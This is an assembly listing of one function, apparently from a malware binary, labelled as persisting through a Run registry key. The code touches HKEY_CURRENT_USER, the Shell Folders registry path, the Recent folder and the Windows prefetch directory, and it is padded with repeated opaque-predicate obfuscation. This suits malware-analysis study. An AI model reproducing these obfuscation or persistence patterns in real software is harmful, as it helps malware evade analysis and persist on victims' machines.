Function at 0x140005d80
Capabilities:
Persist via run registry key

Disassembly:
push rbp
sub rsp, 0x30
lea rbp, [rsp + 0x30]
mov qword [rbp - 8], 0xfffffffffffffffe
mov eax, dword [0x14004a384]
mov ecx, dword [0x14004a388]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005dc4
jmp 0x1400060af
mov eax, 0x20
mov qword [rbp - 0x20], rax
call fcn.1400456e0
sub rsp, rax
mov rax, qword [rbp - 0x20]
mov rcx, rsp
mov qword [rbp - 0x30], rcx
call fcn.1400456e0
sub rsp, rax
mov rax, qword [rbp - 0x20]
mov rcx, rsp
mov qword [rbp - 0x28], rcx
call fcn.1400456e0
sub rsp, rax
mov rax, qword [rbp - 0x20]
mov rdx, rsp
mov qword [rbp - 0x18], rdx
call fcn.1400456e0
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x10], rax
lea rdx, str.Recent
sub rsp, 0x20
call fcn.1400092d0
add rsp, 0x20
mov eax, dword [0x14004a384]
mov ecx, dword [0x14004a388]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005e5b
jmp 0x1400060af
mov eax, dword [0x14004a384]
mov ecx, dword [0x14004a388]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005e8d
jmp 0x1400060d8
mov eax, dword [0x14004a384]
mov ecx, dword [0x14004a388]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005ebf
jmp 0x1400060d8
mov rcx, qword [rbp - 0x18]
sub rsp, 0x20
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerShell_Folders
call fcn.1400092d0
add rsp, 0x20
jmp 0x140005edc
mov r9, qword [rbp - 0x28]
mov r8, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x30]
sub rsp, 0x20
mov rdx, 0xffffffff80000001
call fcn.140004310
add rsp, 0x20
jmp 0x140005f01
mov rcx, qword [rbp - 0x18]
sub rsp, 0x20
call fcn.1400069b0
mov rcx, qword [rbp - 0x28]
call fcn.1400069b0
mov rcx, qword [rbp - 0x10]
add rsp, 0x20
sub rsp, 0x20
lea rdx, str.C:Windowsprefetch
call fcn.1400092d0
add rsp, 0x20
jmp 0x140005f38
mov rcx, qword [rbp - 0x30]
sub rsp, 0x20
call fcn.140005280
add rsp, 0x20
jmp 0x140005f4e
mov eax, dword [0x14004a384]
mov ecx, dword [0x14004a388]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005f80
jmp 0x1400060dd
mov eax, dword [0x14004a384]
mov ecx, dword [0x14004a388]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005fb2
jmp 0x1400060dd
mov rcx, qword [rbp - 0x10]
sub rsp, 0x20
call fcn.140005280
add rsp, 0x20
jmp 0x140005fc8
mov eax, dword [0x14004a384]
mov ecx, dword [0x14004a388]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005ffa
jmp 0x1400060e2
mov rcx, qword [rbp - 0x10]
sub rsp, 0x20
call fcn.1400069b0
mov rcx, qword [rbp - 0x30]
call fcn.1400069b0
add rsp, 0x20
mov eax, dword [0x14004a384]
mov ecx, dword [0x14004a388]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006046
jmp 0x1400060e2
mov eax, dword [0x14004a384]
mov ecx, dword [0x14004a388]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006078
jmp 0x140006101
mov eax, dword [0x14004a384]
mov ecx, dword [0x14004a388]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400060aa
jmp 0x140006101
mov rsp, rbp
pop rbp
ret
mov eax, 0x20
call fcn.1400456e0
sub rsp, rax
mov rcx, rsp
lea rdx, str.Recent
sub rsp, 0x20
call fcn.1400092d0
add rsp, 0x20
jmp 0x140005dc4
jmp 0x140005e8d
jmp 0x140005f80
mov rcx, qword [rbp - 0x10]
sub rsp, 0x20
call fcn.1400069b0
mov rcx, qword [rbp - 0x30]
call fcn.1400069b0
add rsp, 0x20
jmp 0x140005ffa
jmp 0x140006078